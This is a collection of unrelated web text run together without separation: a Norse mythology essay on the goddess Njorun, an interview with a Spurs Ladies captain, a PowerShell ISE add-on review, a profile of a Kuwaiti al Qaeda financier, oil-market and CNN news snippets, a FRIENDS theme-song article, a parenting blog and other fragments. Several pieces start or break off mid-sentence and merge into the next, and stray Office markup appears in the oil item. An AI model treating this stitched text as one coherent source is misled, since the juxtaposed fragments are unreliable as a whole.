The -un (-n) ending is common among the names of the Asynjur – c.f. Gefn/Gefjun (also Gefjon), Lofn, Sjöfn, Iðunn (with a doubling of the final consonant), Sigyn and Syn.
There is a possible connection with the Etruscan/Latin goddess Nerio, who was the personification of valor. If so, it would line up with the other references to the Vanir being able warriors (though non-aggressive).
The first point is the weakest, and to be fair, Hrafnhild doesn’t insist on it, but admits that *Ullin is a reconstructed form and Njord/Jord not generally accepted.
The other points are more interesting, especially the connection with Nerio, an equally obscure Roman goddess of battle. She was a personification of valour who was partnered with Mars, and occasionally equated to Bellona or Minerva. She sometimes received offerings of war booty. (Adkins and Adkins: 163.)
I find it hard to imagine any Roman war-goddess being non-aggressive (the cult of Nerthus involved a general truce during her festivals), but it’s the name not the manner we’re comparing here, and we already know that the name Nerthus might come from the same root as the Celtic -nert, “force, strength”. (Although French (83-4) derives it from a root meaning “narrow”, and connects it to the Nervii tribe.)
As Hopkins says, in Norse myth all beings and objects have names. It would be good to finally put a name to Njord’s sister.
Links:
Wikipedia on Njorun
Njorun as Goddess of Dreams
Image of Njorun
Some personal experience of Njorun
The image at the top is of the Sea of Stars at Vaadhoo Island.
References:
The Poetic Edda, Carolyne Larrington (trans.) Oxford UP, 1996.
Edda, Snorri Sturluson/Anthony Faulkes, Everyman Press, Penguin, 1992. (reprint)
Tacitus (trans. H. Mattingly and revised by H. S. Handford) 1970: The Agricola and the Germania, Penguin Classics.
Adkins, Lesley and Roy A. Adkins 2000: Dictionary of Roman Religion, OUP.
Dumézil, Georges, 1955: “Njordr, Nerthus et le folklore scandinave des génies de la mer”, Revue de l’histoire des religions, 147: 210-26.
French, Kevin 2014: “We need to talk about Gefjun: Toward a new etymology of an Old Icelandic theonym.”, diss. (pdf available here)
Hopkins Joseph S. 2002: “Goddesses Unknown I: Njorun and the Siter-Wife of Njord”, RMN Newsletter Dec. 2012, no. 5: 39-43. (academica.edu)
Hrafnhild, Nicanthiel 2009: Boar, Birch and Bog: Prayers to Nerthus, Lulu Books.
North, Richard 1997: Heathen Gods in Old English Literature, CUP.
Olsen, Karin “Woman-Kennings in the GÍsla saga“, in Studies in English Language and Literature: Doubt Wisely, eds. M. J. Toswell, E. M. Tyler, Routledge: 267-85. (sample available on Google Books)
Simek, Rudolf (trans. Angela Hall), 1996, Dictionary of Northern Mythology, D. S. Brewer, Cambridge (entry on Nerthus).
Sturtevant, Albert Morey 1952: “Regarding the old Norse Name Gefjon”, Scandinavian Studies 24: 4 (Nov. 1952): pp. 166-167. (JSTOR)
Turville-Petre, E. O. G. 1975: Myth and Religion of the North: The Religion of Ancient Scandinavia, Praeger.In what is shaping to be a season to remember for Tottenham Hotspur, the feel-good factor isn’t limited to Mauricio Pochettino’s title chasers. Our women’s team also face a crucial month, one which offers the chance of glory.
In the weeks ahead, Spurs Ladies have not one, but THREE cup finals. This seemed like a lot of cup finals, so I wanted to find out more.
Spurs Ladies play in the Women’s Premier League Southern Division, the third tier of the women’s football pyramid in England. With just two games to play this season, the team is firmly in mid-table — sitting sixth out of 12th.
But if the league campaign is almost over, it’s a different story in the cups. We play Charlton in the Ryman Cup final on April 14, and Charlton again in the Capital Women’s Cup final on April 27. On May 8, the team travels to Kidderminster for the FA Premier League Cup final against Cardiff.
I got in touch with Jenna Schillaci, the captain of the team and a lifelong Spurs fan, to learn more about the big month ahead, and what life is like as a member of Spurs Ladies. She kindly agreed to answer my questions.
First, some links: You can find out more about Spurs Ladies here, and follow the official account on Twitter here. Ticket details for the Ryman Cup final (kick-off 7.45pm) are here, and you can follow Jenna on Twitter here.
Let’s talk about you. You are captain of Spurs Ladies: how did this come about, first in terms of getting into elite women’s football, and then joining Spurs?
I started when I was around six years old. My dad set up a team that consisted of me and all my friends. I went to a Spurs trial in 2000 I think and went into the Ladies |
. But if NVIDIA is investing the money and effort that it takes to design a high-performance CPU core, then it suggests that the company's talk about how little the CPU matters nowadays is just hot air.
If NVIDIA really is trying to design a high-performance ARM core, Perlmutter again stressed that such competition would be nothing new for Intel. In fact, he insisted that NVIDIA probably could design a worthy high-performance CPU core. But the company will then have to successfully combine the results with a high-performance GPU on an SoC, and then integrate that into a larger system with all of the supporting logic and related engineering required.
Truth be told—and this is my take, not Perlmutter's—NVIDIA can probably do the system design, too. Their high-end GPUs are essentially compact systems-on-a-daughtercard, with separate power and cooling systems and support logic. So the company has plenty of experience in designing very compact, high-performance systems. But it's point taken about NVIDIA's anti-CPU rhetoric—if the CPU is irrelevant, why make one?
The answer, of course, is that both the CPU and GPU matter, as do the connections between them. We'll see how well NVIDIA is able to combine the two in the coming years, as both Project Denver and the Windows/ARM port move closer to market.
Listing image by IntelOn Mar. 14, the US Treasury Department announced its decision to impose sanctions on Kuwaiti national Muhammad Hadi al-‘Anizi, saying he is “a terrorist facilitator and financier based in Kuwait.” Treasury stated that in mid- to late-2014, al-‘Anizi was appointed as al Qaeda’s “representative in Syria by AQ senior leadership.” As FDD’s Long War Journal noted, al-‘Anizi’s appointment came shortly after the Feb. 2014 assassination of Abu Khalid al Suri, whom Treasury had also described as al Qaeda’s representative in Syria.
The Treasury Department stated that al-‘Anizi (pictured on the right*) has supported al Qaeda since at least 2007. But his ties to the international jihadist organization may go back even further.
Al-‘Anizi was taken prisoner in the Tora Bora Mountains of Afghanistan in late 2001. He was just 15 years old at the time. He was repatriated as a result of intensive efforts by the Kuwaiti government and, years later, joined al Qaeda’s branch in Syria.
Traveled through Iran to Afghanistan
Exactly one month after al Qaeda’s 9/11 attacks, al-‘Anizi departed for Afghanistan via Iran with his father Hadi, who had retired at the age of forty as a lieutenant colonel in the Kuwaiti security forces. Hadi, who had previously fought alongside American troops during the First Gulf War, supposedly told his wife that he and his son were just going to Saudi Arabia for pilgrimage. According to the London-based Arabic news site Elaph, sources closely linked to Muhammad said that Hadi had also considered bringing his other sons to Afghanistan, but was dissuaded from doing so by prominent local Islamists.
Muhammad’s older brother Abdallah was sanctioned by the US government in 2016 on charges of working to fund al Qaeda in Syria and Pakistan. According to Treasury, Muhammad provided financial support to his brother Abdallah prior to 2014, which the latter used “to fund terrorist operations.”
According to Al Jazeera, Muhammad was the first Arab prisoner freed from Afghanistan after the 2001 American invasion. In an interview with Al Jazeera just after his 2002 repatriation, Muhammad credited several Kuwaiti officials with helping to secure his release, first thanking Sabah al Ahmed Al Sabah, who was Kuwait’s foreign minister (FM) in 2001 and is now the country’s ruling amir.
On Dec. 23, 2001, Agence France-Presse (AFP) cited reports in a local paper saying a deputy to the foreign minister told Muhammad’s family that he had been moved to an American military base in Afghanistan. Two days later, FM Al Sabah said the government was cooperating with the US Embassy in Kuwait in an effort to bring Muhammad home, according to Kuwait’s state news wire. Upon Muhammad’s Feb. 2002 return to his native country, he reportedly expressed his thanks to FM Al Sabah, as well as to the country’s then-ruler and crown prince, according to Elaph.
It seems quite clear that the Muhammad Hadi al-‘Anizi who was designated by Treasury this month is the same Muhammad Hadi al-‘Anizi who was captured in Afghanistan and repatriated to Kuwait. Both men were known to have a brother roughly two years older named Abdallah. Articles by Elaph in 2001 and 2002 listed his date of birth as May 27, 1986, only one day later than the birth date listed for him by the Treasury Department in 2017. Lastly, a recent article by the Kuwaiti newspaper al-Rai stated that the Kuwaiti individual designated by Treasury this month was previously held prisoner in Afghanistan by US and Afghan forces at the age of 15 before being repatriated to Kuwait.
What was Muhammad al-‘Anizi doing in Tora Bora?
Muhammad told Al Jazeera that he was captured in Tora Bora, a mountainous area of eastern Afghanistan where Osama bin Laden made his headquarters. Muhammad added that he was injured and his father killed by an American helicopter strike during the US-backed assault on the area by Northern Alliance forces, who took him prisoner.
Muhammad’s explanation for how he ended up in Tora Bora was somewhat puzzling. He claimed to Al Jazeera that he and his father traveled to Kabul to provide “relief and assistance,” but when the city fell they departed for Jalalabad because somebody told them that was where all the other Arabs and Taliban members were going. He stated that after Jalalabad fell to the Northern Alliance, the two of them fled to Tora Bora, since “there was no place for us to go” and they hoped to cross the border into Pakistan.
Others attribute a more violent motive to Muhammad and his father’s activities in Afghanistan. Kuwait’s state news wire reported in late 2001 and early 2002 that Hadi “died in the American strikes against al Qaeda positions” and that Muhammad was arrested “after fighting side-by-side with al Qaeda fighters.” Yaroslav Trofimov of the Wall Street Journal, who interviewed Muhammad’s uncles and brother Abdallah, wrote in Dec. 2001 that the assertions they went to Afghanistan to provide relief instead of joining Osama bin Laden were “highly unlikely considering the circumstances of Muhammad’s capture in Tora Bora.”
That same month, Elaph reported that sources “closely linked” to Muhammad said his father had escorted him there “to fight in the ranks of al Qaeda.” AFP also cited a local paper that said sources claimed Hadi and his son had gone to Afghanistan “to join jihad (holy war) against the United States.”
Trofimov also noted that relatives of Muhammad had placed a quarter-page ad on the back of a local newspaper to declare that family members “joyfully announce to the Islamic nation the news about the martyrdom of their mujahed, hero Hadi al Enezi, who died in the holy month of Ramadan while supporting the weak and in defense of the faith and Islam in Afghanistan.”
Regardless, in early 2002, a spokesperson for Afghanistan’s foreign ministry announced that Muhammad, a minor, would be released due to “humanitarian considerations” and his “lack of involvement in any terrorist acts.” He was flown home in Feb. 2002 on a Kuwaiti military aircraft, according to the Associated Press. After interviewing Muhammad in his home country, AFP reported that he “did not think he would be prosecuted in Kuwait, although he would spend the next two days being debriefed by authorities.”
An early member of al Qaeda’s arm in Syria
Several weeks after al Qaeda’s Nusra Front announced its formation in Jan. 2012, the Egyptian newspaper al-Masry al-Youm cited jihadist message boards as saying that an Abu Hudhayfa al-Kuwaiti was among the first foreign jihadists to reach Syria since the start of that country’s civil war. According to the Treasury Department, Abu Hudhayfa al-Kuwaiti is one of Muhammad al-‘Anizi’s aliases.
Treasury also reports that in late 2015 Muhammad “sought assistance from AQ financier and US and UN-designated terrorist Sa’d al-Ka’bi to facilitate the travel of AQ-associated individuals.” The timing of this reported activity would be somewhat unsettling, since Qatar had supposedly shut down al-Ka’bi’s activities the previous year. There is no indication that Qatar ever arrested al-Ka’bi or charged him with a crime related to terror finance, despite the international sanctions against him.
It remains to be seen whether Kuwaiti authorities will take effective and visible action against Muhammad al-‘Anizi since the Treasury Department’s declaration that he funded al Qaeda and was appointed as al Qaeda’s “representative in Syria” by its senior leadership. The Kuwaiti paper al-Rai reported that sources close to Muhammad emphasized he would take legal measures to refute his designation by Washington, which they called unfounded.
Kuwait was described in 2014 as “the epicenter of fundraising for terrorist groups in Syria” and a “permissive jurisdiction” for terror finance by Treasury’s then-Under Secretary for Terrorism and Financial Intelligence David Cohen. Just last month, Treasury’s former Assistant Secretary for Terrorist Financing Daniel Glaser revealed that designated terror financiers are still “operating openly and notoriously” in both Qatar and Kuwait.
*This photo of Muhammad al-‘Anizi from 2002 was published by Al Jazeera in 2005.
Note: Mr. Weinberg is the author of a recent monograph on Qatar’s negligence toward funders of al Qaeda’s powerful branch in Syria.
David Andrew Weinberg is the Anti-Defamation League’s Washington Director for International Affairs.
Are you a dedicated reader of FDD's Long War Journal? Has our research benefitted you or your team over the years? Support our independent reporting and analysis today by considering a one-time or monthly donation. Thanks for reading! You can make a tax-deductible donation here.Giving the PowerShell ISE a major upgrade
Time for something a bit different in this post. I do most of my PowerShell script development in the built-in ISE. It’s clean, uncluttered and what it does, it does well. It is of course, also very basic. I have in the past tried a couple of other free development environments and just felt no draw to them at all after a brief try. So, until now I’ve remained stuck using the standard Microsoft offering.
Recently, I read a blog post about a module for ISE that provides a major power-up – “ISE Steroids”. Its 2nd version is currently in a frequently-updated preview form and that’s what I’ve been playing with. Being a module for the existing ISE means you feel instantly at home in it since it’s enhancing the existing interface and it can, if desired, just be activated on an as-and-when basis. Don’t let the word “module” make you think this is a relatively minor addition like Microsoft’s “Script Browser/Analyzer”. This really is the ISE on steroids … and not just a small sneaky dose of anabolic steroids either; this beast would get the ISE banned from athletics for life. The author is Dr Tobias Weltner. If you like PowerShell but don’t know that name, then you ought to. He has produced an indispensable set of “PowerTips” PDFs which can be found at powershell.com or on his own website. I strongly recommend them to you.
After unblocking the downloaded ZIP file, installation is like unzipping any other module into a folder in your PSModulePath. You then activate it within the ISE by running the command Start-Steroids. Here is the normal ISE toolbar:
And here is the view – after using the Start-Steroids command:
You could of course get it to auto-start by adding the command to your ISE profile script. There’s an icon on the toolbar to get at that easily – it’s the little green-shirted man on the right. Note that in the above screenshot I had also clicked the Settings icon on the far right and that caused the extra tab of options to slide into view in a rather slick fashion.
A quick note on that extra tab of options; they enable highlighting of minor and major code style issues (eg strings in double-quotes), highlighting matching braces (very useful!). They also provide optional auto-completion of quotes, brackets and braces.
The first main row of icons starts off looking familiar but includes a “Blank Script from Template” button so you could make yourself some generic starter script layouts. The section for starting and stopping the script includes a nifty button of a red bug for managing breakpoints.
Next to it, the button that in the normal ISE merely opens a PowerShell window has been replaced with something far more useful. A right-click shows you all the possibilities that will enable thorough testing to be much easier. This will be invaluable in an enterprise environment.
Next along is the familiar group of buttons for different layouts. An extra has been added to the end and I love it. It’s called “Script Pane Maximized and External Console”. When you click it, the script pane maximises and the console pane detaches into a separate window:
As you can see, this floating window looks rather cool. It has a short toolbar with a button to stop the script if it’s running; a pin button to keep it on-top; and a third (toggle) button that makes the underlying script window disappear altogether. You’ll notice both this console window and the script window have an overlayed transparent icon in their bottom right corners. Clicking either of these switches you to the other window of the pair effortlessly. It’s really very slick. If you close the floating console window, you’re returned to the usual dual-pane view in the ISE.
The last section of icons on the top row of the enhanced ISE toolbar are for various add-ons which I’ll come to later.
The second toolbar row (which can be hidden) has features that affect the behaviour of the ISE and how your code is displayed. I’ll pick out a few. The first button is for automatically aligning the indentation of braces. It defaults to two spaces but you can adjust this. There’s no excuse for sloppy formatting now (a pet hate)!
A related option which you’ll see in use in my earlier screenshots is “Toggle visible whitespace” which is like the feature in Word that shows paragraph markers, tabs and spaces etc. There’s also a word-wrap button. I’ll be using both of these all the time.
Other buttons affect what is highlighted – eg just the line or the current language element. Here’s an example from the latter showing an entire Try-Catch block being outlined when the cursor is on the try keyword. As you can see, the effect is quite subtle.
Related to this is an AutoSelect button which when clicked repeatedly, highlights and selects progressively bigger chunks of code from the cursor position – ie parent code blocks. In the above example, you’d get the Try-Catch block followed by the If script block, followed by the entire If construct, followed by the foreach script block and finally the entire foreach construct. I personally think this will prove most useful for visually checking the relationship of nested code blocks and the associated flow of script logic.
If like me, you like to collapse sections of code to focus your attention, there are some buttons to do this – eg for comment blocks, the current code region, and 1st and 2nd levels of outlining. I do this sort of thing all the time in Notepad++ with VBScript so this will be really useful here as I’ve found sections tend to uncollapse all the time in the standard ISE. There’s also an Expand All Outlining button.
The far-right of the second toolbar row has icons for printing and creating XPS files and a button that pops up the help text for the selected Cmdlet in a window. Also there is an icon for a beefed-up Snippet Manager:
Have you ever typed something into the console pane to test and then had to copy the line and paste it into your script pane? There’s now a toolbar button to do this for you in one click!
Struggling to find areas in a long script? There is a button for adding Bookmarks (inside a comment) which can then be navigated to from a section at the bottom of the script pane:
At the far end of the toolbar is an icon that enables a Script Map. This appears as a strip down the side of the window showing a very zoomed-out view of your code. The section currently visible in the editor window is highlighted, and by hovering with your mouse over the map, you can see the code at that point (ie find your way around) and then click to go to that position:
I think these last two features will make script navigation much easier.
I’ve saved some of the best to last. The far-right of the top toolbar has a number of different features that can optionally appear in a tabbed sidebar. One of these you’ll know from the normal ISE, is the Commands Add-On. Well, I hope you know it as it shows you modules with their commands and then lets you complete the parameters using textboxes, checkboxes and drop-down lists.
Next to it is the Variable Monitor Add-On. This is useful if you’ve set breakpoints, to see what is happening to the variables in your code. Here’s a screenshot of it in action – I left the Commands tab on too:
The next Add-On in the sidebar is the Context Sensitive Help. This gives attractively-formatted help in a sidebar with examples. The output can be made pageable or scrollable and there is a zoom slider for the text:
Next up is a snippet Autocompletion Tool followed by a Refactoring Tool. This latter tool which runs in Basic or Advanced mode helps format your scripts for you:
Here’s a very simple example. Before:
After:
Advanced mode lets you choose exactly which reformatting procedures are performed against your code. They’re divided into categories. Here’s a taster of the ones in the Command category:
I suspect this is a feature that will continue to improve in its ability and accuracy as it has more and more scripts thrown at it. I tend to be quite fussy over my code layout already.
I’ve saved perhaps the best add-on until last. The last feature is File Version History and it is really quite powerful! You simply click a button to add a new version and you can choose between major and minor versions as shown below:
Version history is then shown in the sidebar and you can add Notes to each using the links, open old versions and compare versions. I’ve redacted where it shows computername/domain\Username.
You can classify each version as shown below:
The versioning works by creating a zip file containing the older versions alongside the main file along with an XML index file. In an enterprise environment especially, this feature will be indispensable.
So there you have it. Even in its current beta, this development environment is excellent!
AdvertisementsStory highlights Scaramucci said he didn't care about his past criticism of Trump
He said he would address White House leaks on Monday
Washington (CNN) US President Donald Trump remains unconvinced that Russia attempted to influence the 2016 election, his new White House Communications Director Anthony Scaramucci said on Sunday.
"He basically said to me, 'Hey you know, this is, maybe they did it, maybe they didn't do it,'" Scaramucci said of a recent conversation he'd had with the President about alleged Russian interference.
Prior to Trump's inauguration, the Office of the Director of National Intelligence released an unclassified report showing the CIA, FBI and National Security Agency all concluded the Russian government attempted to influence the election to hurt Hillary Clinton and help Trump.
Scaramucci, speaking on CNN's "State of the Union," suggested Trump does not yet accept the conclusion of the intelligence community and questioned the media's pursuit of the story, saying it tarnished Trump's victory in November.
"The mainstream media position on this, that they interfered in the election," Scaramucci said. "It actually in his mind, what are you guys suggesting? You're going to delegitimize his victory?"
Read MoreStory highlights All three firefighters responded to the World Trade Center on September 11, 2001
They all died of illnesses related to their time working at the site, officials say
Hundreds of firefighters and ambulance workers suffer from respiratory illnesses
Three retiree firefighters from the FDNY died this week from illnesses believed related to the September 11, 2001, terrorist attacks on the World Trade Center.
Daniel Heglund, Robert Leaver and Howard Bischoff, who suffered from cancer, died Monday within hours of each other, reported CNN affiliate NY1.
"Losing three firefighters on the same day to WTC-related illnesses is a painful reminder that, 13 years later, we continue to pay a terrible price for the Department's heroic efforts on September 11th, New York Fire Commissioner Daniel Nigro said in a statement.
Ninety-two firefighters have died of illnesses related to the 9/11 attacks and hundreds of firefighters and ambulance workers suffer from respiratory problems, NY1 reported.
All three men rushed to the World Trade Center site on the day of the attacks. They all retired in 2003.
Photos: Photos: Remembering 9/11 Photos: Photos: Remembering 9/11 Remembering 9/11 – A group from the U.S. Navy gathers Thursday, September 11, at the Flight 93 National Memorial in Shanksville, Pennsylvania. This year marks the 13th anniversary of the September 11 terrorist attacks that killed nearly 3,000 people in New York, Washington and western Pennsylvania. Hide Caption 1 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – A woman bows her head in prayer in Shanksville, where United Airlines Flight 93 went down. Hide Caption 2 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Family members gather in the rain at the impact site in Shanksville. Hide Caption 3 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – From left, U.S. President Barack Obama, U.S. Defense Secretary Chuck Hagel and Chairman of the Joint Chiefs of Staff Gen. Martin Dempsey stand on stage as they participate in a ceremony at the Pentagon. Hide Caption 4 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Obama and Hagel bow their heads during the ceremony at the Pentagon. Hide Caption 5 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – A woman reaches out to touch a rose on one of the benches at the Pentagon Memorial. Hide Caption 6 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Tyrone McClave, of Bristol, Pennsylvania, looks up at One World Trade Center during a moment of silence in New York. Hide Caption 7 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Members of the New York Police Department, the New York Fire Department and the Port Authority Police Department carry an American flag past one of the reflecting pools during memorial observances at the World Trade Center site. Hide Caption 8 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Members of the New York Fire Department take time to reflect. Hide Caption 9 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Paola Braut, of Belgium, kisses a photograph of her son Patrice along the edge of the North Pool of the World Trade Center site. Hide Caption 10 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – A man stands across the street from the National September 11 Memorial & Museum in New York. Hide Caption 11 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Eileen Esquilin hugs her husband, Joe Irizarry, while mourning the loss of her brother, Ruben Esquilin Jr., during memorial observances in New York. Hide Caption 12 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Former New York Gov. George Pataki, left, and former New York City Mayor Rudy Guiliani were among those in attendance at the World Trade Center. Hide Caption 13 of 14 Photos: Photos: Remembering 9/11 Remembering 9/11 – Sam Pulia, the mayor of Westchester, Illinois, and a former police officer of the same town, mourns over the name of his cousin, New York firefighter Thomas Anthony Casoria, who was killed on 9/11. Hide Caption 14 of 14
Heglund was a firefighter from Rescue 4 in the Woodside section of Queens and had spent 21 years on the job, NY1 reported. Leaver was a member of Engine 202 in Red Hook and served 20 years. Bischoff was a fire officer for 19 years and served with Ladder 149 in Dyker Heights.
News of the three deaths comes as advocates seek reauthorization of a program to provide health services to people with 9/11-related health problems at least through 2015. President Barack Obama signed the James L. Zadroga 9/11 Health & Compensation Act into law in 2011.
"I'm asking [leaders in Washington] to be as brave as the people who responded on that day," FDNY Union-Uniformed Fire Officers Association President James Lemonda said at a press conference. "This is not just a firefighter issue. This is an American issue."
Government reports suggest workers at the World Trade Center were exposed to a number of chemicals that were known to be carcinogens, or agents that may cause cancer.
Cancer is plaguing a growing number of first responders and rescuers who worked at ground zero after the terrorist attack. These are cancers the federal government says are thought to be directly related to that effort -- cancers like leukemia, myeloma, thyroid and prostate cancers.
At the end of July, there were at least 1,646 certified cancer cases that have been documented by Mount Sinai Selikoff Centers for Occupational Health. There were some additional 863 cancer cases among both fire and EMS personnel, according to FDNY, which keeps a separate database for its members.The market was awaiting the latest weekly snapshot of energy inventories in the prefix="st1" ns="urn:schemas-microsoft-com:office:smarttags"? United States, the world's biggest oil consumer, to be published by the US government on Wednesday. prefix="o" ns="urn:schemas-microsoft-com:office:office"?
Supply concerns
Tony Nunan, of Mitsubishi Corporation's international petroleum business, said concerns over supplies not keeping up with demand were driving prices higher.
Your Views Should the US House of Representatives sue Opec?
Send us your views "The market is technically and fund-driven right now," he said, referring to investors buying into oil in hopes for higher returns.
David Moore, a commodity strategist at the Commonwealth Bank of Australia, said a weaker US dollar and "the recent trend for analysts to revise higher their oil price forecasts" are helping to push up prices.
Analysts added that a need for diesel-fuelled power generation in earthquake-affected areas of China was boosting demand for the fuel.
"If there is an upside driver in energy these days, it is the diesel markets," Ed Meir said, a MF Global analyst.
"Sentiment here continues to remain very bullish on concern that much diesel needs to be imported into China to power generators," Meir said.
Market speculators blamed
Venezuela blames market speculators for the spiraling international price of crude and rejected increased production as a way to calm the market.
Rafael Ramirez, Venezuela' s oil minister, said: "Prices have risen spectacularly because of speculation, because of the devaluation of the dollar and world inflation," after meeting with Abdullah el-Badri, the Organisation of Petroleum Exporting Countries (OPEC) secretary general.
"Any rise in production would be immediately put in stock and this would have a negative impact on prices," he said.
As the price of a barrel of crude headed for $130, Ramirez insisted the problem was "not linked to supply and demand".
Analysts said a decision by Saudi Arabia, the world's biggest oil producer, to raise output had not done much to lower crude prices.
Many officials belonging to Opec argue that record oil prices are being driven by speculators seizing on geopolitical unrest, such as in Nigeria, Africa's biggest exporter of crude.
Eric Wittenauer, analyst at Wachovia Securities, said reports about growing tensions between Washington and Tehran heightened concerns about a conflict that could affect oil supplies in Iran and the wider Middle East.
He said the market reacted to an article in the Jerusalem Post that said George Bush, the US President, "intends to attack Iran before the end of his term."
"We have certainly not ruled out the possibility of conflict later this year," Wittenauer said.
Price fixing allegations
In Washington, the House of Representatives passed a bill authorising the federal government to sue Opec in US courts over alleged price fixing, in the latest swipe at the cartel over skyrocketing oil prices.
Bush has however threatened to veto the legislation, although its margin of passage in the House suggested Democrats could get a two-thirds majority needed to sustain the largely symbolic measure.November 12 will be the beer garden's last day.
UPDATE (March 6, 2018): Philadelphia-based City Tap House Planning First Georgia Gastropub For Midtown
Gordon Biersch is saying "auf wiedersehen" in Midtown.
AdvertisementNovember 12 will be the beer garden's last day in business, according to the restaurant's general manager.
The restaurant has been serving Atlanta for 18 years, she said.Advertisement
Some of the Midtown employees will relocate to the remaining Georgia location in Buckhead. The chain has 29 brewery and restaurant locations nationwide.
The restaurant, at 848 Peachtree Street NE, featured an on-site brewery and seating for 450 people.
The space is currently listed and available for lease through Coro Realty.
A Coro senior property manager charged with leasing the space Monday would not comment on the project.
Developing...Rosberg and Hamilton crashed into each other at the start of the Barcelona race to leave Mercedes point-less in a grand prix for the first time since the 2012 season.
The championship leader, however, says he has moved on already, and insists nothing will change in his relationship with Hamilton.
"It's always very hard work because we are fighting for the championship for the last three years," said Rosberg at the end of testing in Barcelona.
"But, on the other hand, we're also running for the team at the same time, so it's hard work but also nice, because we push each other.
"Obviously it didn't go well for us on Sunday, but our relationship remains as before.
"I don't even think about it anymore, for me it's way in the past and it surprises me that people are talking about it. But I understand it. For me, though, it's over."
He added: "In the end we're here to fight for the win, to fight against each other. That's what the team wants too, that's what brings excitement within the team and, obviously, it didn't go well last Sunday.
"But that's past, so let's look ahead – I don't think about it anymore and I was focussed on the test, on doing well today, to understand everything and I've learned quite a few things today."
Ferrari rumours
Italian media speculated this week that Ferrari could be flirting with Rosberg as a possible replacement for Kimi Raikkonen for next year.
The German's contract expires at the end of the current season, and although he said he is happy where he is, he suggested he is open to a future elsewhere.
"I'm happy at Mercedes, but let's see what the future brings," he said.The American sitcom F.R.I.E.N.D.S won millions of hearts when it aired and has remained a staunch favourite among the youth till date. The 6 characters: Chandler Bing, Monica Geller, Ross Geller, Rachel Greene, Phoebe Buffay and Joey Tribbiani have created a special place in the hearts of millions of people the world over. Lines from the series are still recited and the theme song, I’ll Be There For You’ played regularly. The series was witty, touching and at the same time also practical. It showed the life of the youngsters perfectly and with the well etched characters and perfect situations, the 10 Seasons of F.R.I.E.N.D.S still top charts and are preferred over every other show. Really, the show seems eternal when you think of it – something that will probably be loved by generations!
[ALSO READ: Chetan Bhagat is dancing to Beat Pe Booty and it is something the world can never unsee!]
But then, while you do completely adore F.R.I.E.N.D.S, do you know that we Indians had tried adapting a show along similar lines in the 2000s! But then, try as they might they obviously could not recreate the classic F.R.I.E.N.D.S magic and the show went off air pretty quickly. The theme song tune that we still hum though crazy popular among Indians has luckily, not yet “inspired” any music directors and has stayed unsullied. The catchy tune is so beautiful and never ceases to bring a smile on our faces. But then, what if F.R.I.E.N.D.S as an Indian TV series had actually worked? Or rather, after their initial disastrous attempts, what if the makers had tried once more and a la true saas-bahu style given us a desi F.R.I.E.N.D.S version too?
[ALSO READ: Meet Lakshmi, the donkey whose milk sells for Rs 50 per spoon!]
Well, luckily for us, no one has decided to go ahead and mess with F.R.I.E.N.D.S but then, Indian musician Mahesh Raghvan, who in the past has amazed us with classical Indian versions of some of the most popular tracks has decided to desify the F.R.I.E.N.D.S theme song. He created a video of how the song was made and it is mind-blowingly amazing! The song goes from a peppy, catchy number to a completely soulful classical Indian song that will soothe you and give you goosebumps at the same time! He has used multiple musical instruments for creating this classical masterpiece and the results are outstanding. The tune is a perfect blend and despite the difference, we’re sure you will find yourself lip-syncing the words to the song and thoroughly enjoying it!
[ALSO READ: This video is asking a very simple question about a nursery rhyme we all sing. The question is – are we instilling racism in kids since childhood?]
Before the F.R.I.E.N.D.S theme song, Mahesh Raghvan who has his own YouTube channel, has also created Indian classical themes for the famed Sherlock series and the most recent obsession with youth all over the world – Game of Thrones. His GoT classical video has already crossed over 5.5 lakh views since the time it was created and uploaded – just 3 months back! Looks like Mahesh is planning on giving us one classicial gem a month and we simply cannot wait to see which theme song he chooses next! Well, we Indians are crazy talented and when it comes to blending India with the West, we simply ace at it! How, listen to the song and you will find yourself getting lost in it’s beauty – at the same time being amazed at how a number can be so crazily altered!What began as an ordinary day….
So I thought today was going to be an ordinary day, but by 9am, I realised it was something very different.
If you have been following my Facebook posts over the last few weeks, you will see that we had a wonderful holiday in Canada with our three grown up kids (and our Canadian daughter)
For the past week I have been a bit in mourning. Our kids are scattered all over the world, and I miss them being part of our daily lives – you know, dropping in for dinner, being able to meet the girls on a Saturday and go shopping, that type of thing.
I must admit to feeling a bit sorry for myself – when we told our kids that it was important that they travel, move away from home to follow their dreams – I didn’t think they would listen (they didn’t listen when I told them to clean up their rooms!!)
But today was a bit of a reality check
First thing this morning I received a message from my youngest daughter to tell me she got a new job. Five months ago she packed herself up and moved to Vancouver, all by herself. She didn’t know a soul, had nowhere to live and no job. But in that time she has found a place to live, with some great roommates, found a job (a few actually) together with the help of a couple of amazing people she is feeling right at home in her new city.
Next a message from my son, who has been living in Montreal for 2 years. His job is going from strength to strength. He started out as a video editor and now a producer with one of Youtube’s biggest channels. His videos regularly get over 1 million hits and a few of them over 10 million. He loves his new life, as much as he loves his lovely girlfriend.
Then to top it off, I was listening to my daughter read breakfast news for one of the country’s most listened to Breakfast radio stations. She is normally the Drive Time newsreader, but today was filling in for her boss who is unwell – her doing that means pulling a double shift! Today also happened to be the anniversary of the day six years ago that she first started in radio, in a small regional radio program, which meant she too had to move away from home.
So while I am sad that they are living away from home I am also exceptionally proud of the way they have created their success. All on their own, self directed, confident, believing in their ability to be their own people.
That’s what true parenting is isn’t it? Giving them wings to fly, and letting them do it.
So what does that mean for me?
Well their success and new life, gives me the freedom to do what I love to do best, mentor and work with women in their 50’s who want to be Fit and Fabulous. You see, that’s what I plan to do (although I may have to change that title to something beginning with ‘S’, soon!) 😉
Because just because your kids move out of home, doesn’t mean you have to stop, in fact, it means taking that amazing energy, wisdom and intuition and carving something just for you.
My |
advertising other Samsung apps and sites eat up most of the space in the five home screens. Even just turning airplane mode on and off requires an extra tap in a confirmation dialog.
